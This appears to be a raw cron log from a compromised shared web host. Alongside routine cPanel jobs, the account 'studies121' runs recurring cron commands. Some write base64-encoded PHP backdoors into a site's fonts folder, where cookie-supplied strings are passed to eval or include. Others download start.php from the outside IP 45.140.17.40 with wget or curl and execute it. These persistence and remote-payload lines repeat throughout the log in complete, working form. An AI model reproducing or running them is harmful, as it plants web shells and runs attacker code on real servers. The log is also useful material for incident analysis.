Sep  4 09:21:01 ip-184-168-122-23 CROND[29302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:21:01 ip-184-168-122-23 CROND[29303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:22:01 ip-184-168-122-23 CROND[29451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:22:01 ip-184-168-122-23 CROND[29452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:22:01 ip-184-168-122-23 CROND[29453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:22:01 ip-184-168-122-23 CROND[29454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:22:01 ip-184-168-122-23 CROND[29455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:23:01 ip-184-168-122-23 CROND[29574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:23:02 ip-184-168-122-23 CROND[29578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:23:02 ip-184-168-122-23 CROND[29576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:23:02 ip-184-168-122-23 CROND[29577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:24:01 ip-184-168-122-23 CROND[29689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:24:01 ip-184-168-122-23 CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:24:01 ip-184-168-122-23 CROND[29692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:24:01 ip-184-168-122-23 CROND[29693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:24:01 ip-184-168-122-23 CROND[29694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:25:01 ip-184-168-122-23 CROND[29814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:25:01 ip-184-168-122-23 CROND[29816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:25:01 ip-184-168-122-23 CROND[29818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:25:01 ip-184-168-122-23 CROND[29817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:25:01 ip-184-168-122-23 CROND[29820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:25:01 ip-184-168-122-23 CROND[29819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:26:01 ip-184-168-122-23 CROND[30017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:26:02 ip-184-168-122-23 CROND[30018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:26:02 ip-184-168-122-23 CROND[30021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:26:02 ip-184-168-122-23 CROND[30023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:26:02 ip-184-168-122-23 CROND[30025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:27:01 ip-184-168-122-23 CROND[30166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:27:01 ip-184-168-122-23 CROND[30167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:27:01 ip-184-168-122-23 CROND[30169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:27:01 ip-184-168-122-23 CROND[30168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:28:01 ip-184-168-122-23 CROND[30297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:28:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:28:01 ip-184-168-122-23 CROND[30299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:28:01 ip-184-168-122-23 CROND[30300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:28:01 ip-184-168-122-23 CROND[30302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:29:01 ip-184-168-122-23 CROND[30426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:29:01 ip-184-168-122-23 CROND[30429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:29:01 ip-184-168-122-23 CROND[30428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:29:01 ip-184-168-122-23 CROND[30430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:30:01 ip-184-168-122-23 CROND[30533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:30:01 ip-184-168-122-23 CROND[30536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:30:01 ip-184-168-122-23 CROND[30537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:31:01 ip-184-168-122-23 CROND[30758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:31:01 ip-184-168-122-23 CROND[30762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:31:01 ip-184-168-122-23 CROND[30763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:31:01 ip-184-168-122-23 CROND[30759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:31:01 ip-184-168-122-23 CROND[30761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:32:01 ip-184-168-122-23 CROND[30885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:32:01 ip-184-168-122-23 CROND[30886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:32:01 ip-184-168-122-23 CROND[30887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:32:01 ip-184-168-122-23 CROND[30888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:32:01 ip-184-168-122-23 CROND[30889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:33:01 ip-184-168-122-23 CROND[31015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:33:01 ip-184-168-122-23 CROND[31017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
